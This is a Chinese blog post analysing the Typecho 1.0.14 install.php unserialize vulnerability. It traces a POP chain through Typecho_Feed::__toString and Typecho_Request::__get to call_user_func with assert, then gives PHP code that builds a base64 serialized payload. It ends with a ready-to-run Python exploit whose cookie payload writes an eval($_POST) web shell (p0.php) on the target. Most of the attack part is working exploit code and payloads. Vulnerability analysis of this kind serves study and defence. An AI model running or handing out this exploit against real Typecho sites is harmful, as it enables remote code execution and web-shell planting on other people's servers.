新手分析typecho 反序列化漏洞

install.php中存在下面这段代码

<?php else : ?>
    <?php
    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
    Typecho_Cookie::delete('__typecho_config');
    $db = new Typecho_Db($config['adapter'], $config['prefix']);
    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
    Typecho_Db::set($db);
    ?>

很明显的存在反序列操作,我们需要做的找下有那些可以被执行的魔术方法,一般是找__destruct,__wakeup,__toString等这些

__destruct : 有两处,__wakeup没有,我们继续看install.php下一句new了一个Db对象,跟进去Db类的构造函数看下

在DB类的构造函数里面有如下

$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

这段话将$adapterName属性和字符串拼接在一块,会自动调用__toString魔术方法,我们只需要传入一个数组,让adapter值为一个有__toString方法的类即可,我们来找找有那些类有__toString 函数

/home/T00LS/database/html/cms安装包/大型cms/typecho/1.0.14/build/var/Typecho/Config.php:
  192       * @return string
  193       */
  194:     public function __toString()
  195      {
  196          return serialize($this->_currentConfig);

/home/T00LS/database/html/cms安装包/大型cms/typecho/1.0.14/build/var/Typecho/Db/Query.php:
  486       * @return string
  487       */
  488:     public function __toString()
  489      {
  490          switch ($this->_sqlPreBuild['action']) {

/home/T00LS/database/html/cms安装包/大型cms/typecho/1.0.14/build/var/Typecho/Feed.php:
  221       * @return string
  222       */
  223:     public function __toString()
  224      {
  225          $result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;

3 matches across 3 files

主要有三处, 第一出Config.php的__toString 函数中是一个序列化方法, 第二处Query.php文件是一个构造查询语句的过程, 第三处在Feed.php中构造Feed输出的内容, 仔细观察发现这三个魔术方法中都没有调用一些危险函数, 这个时候我们需要继续构造pop链,直到找到一些危险函数

第三处的__toString函数里简要逻辑如下:

    public function __toString()
    {

        if (self::RSS1 == $this->_type) {

            foreach ($this->_items as $item) {

            }

        } else if (self::RSS2 == $this->_type) {
          
            foreach ($this->_items as $item) {
                $content .= '<item>' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
                $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
                $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

            }

        } else if (self::ATOM1 == $this->_type) {
   
            foreach ($this->_items as $item) {
            ...
                    <name>' . $item['author']->screenName . '</name>
                    <uri>' . $item['author']->url . '</uri>
                </author>' . self::EOL;

                }
        return $result;
    }
}

这里有三个选择语句,我们看到,第二个和第三个选择语句都调用了一个item元素里的一个属性,如果这个属性是从某个类的不可访问属性里获取的,那么会自动调用__get方法, 因此我们这里又找到一条可以自动执行的pop链了

我们全局搜索__get函数,一共有七处,其他几处可以自己去看看,这里直接来到`Typecho_request.php文件处

    public function __get($key)
    {
        return $this->get($key);
    }

跟进get()函数

    public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }

        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }

get方法主要通过key值获取$this->_params中键的值, 接着调用了_applyFilter方法

private function _applyFilter($value)
{
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }

        $this->_filter = array();
    }

    return $value;
}

到这一步,我们可以看到array_mapcall_user_func均可造成任意代码执行, 且_filter$value变量都可控, 回顾整个pop链 , 我们开始构造我们的poc

<?php 

class Typecho_Feed{
    private $_type='ATOM 1.0';
    private $_items;

    public function __construct(){
        $this->_items = array(
            '0'=>array(
                'author'=> new Typecho_Request())
        );
    }
}


class Typecho_Request{
    private $_params = array('screenName'=>"file_put_contents('lj.php', 'screenName')");
    private $_filter = array('assert');
}


$poc = array(
'adapter'=>new Typecho_Feed(),
'prefix'=>'typecho');

echo base64_encode(serialize($poc));
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NDE6ImZpbGVfcHV0X2NvbnRlbnRzKCdsai5waHAnLCAnc2NyZWVuTmFtZScpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo3OiJ0eXBlY2hvIjt9

当然你会注意到__toString函数也调用了url属性

<name>' . $item['author']->screenName . '</name>
<uri>' . $item['author']->url . '</uri>
</author>' . self::EOL;

那么url参数可以利用吗,也是可以的,道理一样,将Typecho_Request类改成如下即可

class Typecho_Request{
    public $screenName="";
    private $_params = array('url'=>"file_put_contents('lj.php', 'url')");
    private $_filter = array('assert');
}

这个pop链的构造其实还是有缺陷的,就是无法回显执行结果,因为install.php还调用了一个ob_start()函数,将结果都送入到缓冲区中了,想要回显出先执行结果,可以参考知道创宇LoRexxar 大佬的分析文章

https://paper.seebug.org/424/

总结:

  1. 反序列化对象无法实例化去调用类函数,因此只能通过一些自动调用的魔术方法来实现
  2. 构造pop链的过程即是不断寻找可以自动调用函数的地方(如将可控变量和字符拼接可以调用__toString函数,将可控变量访问私有属性可以调用__get方法, 以及一些自动调用的析构函数,直到找到可以调用危险函数的地方
  3. 反序列化的漏洞可以让我们通过控制对象的变量来改变程序的执行流程,我们需要不断找一些可被自动调用的魔术方法来构造我们的pop链,从而达到我们的目的
  4. 什么是pop链,参考:http://www.blogsir.com.cn/safe/452.html

exp:

import requests

def poc(url):
    url = url if url.startswith('http://') else 'http://'+url
    print url
    target = url+'/install.php?finish'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0',
        'Referer':'http://localhost:85/install.php',
        'cookie':"__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ=="
        }
    try:
        html = requests.get(url=target,headers=headers,timeout=3)
        if html.status_code == 404:
            return 'the file install.php is not exists'
        print 'shell:', url+'p0.php'
    except Exception  ,e:
        print e
        return False


if __name__ == '__main__':
    url = 'http://localhost:85/'
    poc(url)

参考文章: https://paper.seebug.org/424/
http://p0sec.net/index.php/archives/114/

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,287评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,346评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,277评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,132评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,147评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,106评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,019评论 3 417
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,862评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,301评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,521评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,682评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,405评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,996评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,651评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,803评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,674评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,563评论 2 352

推荐阅读更多精彩内容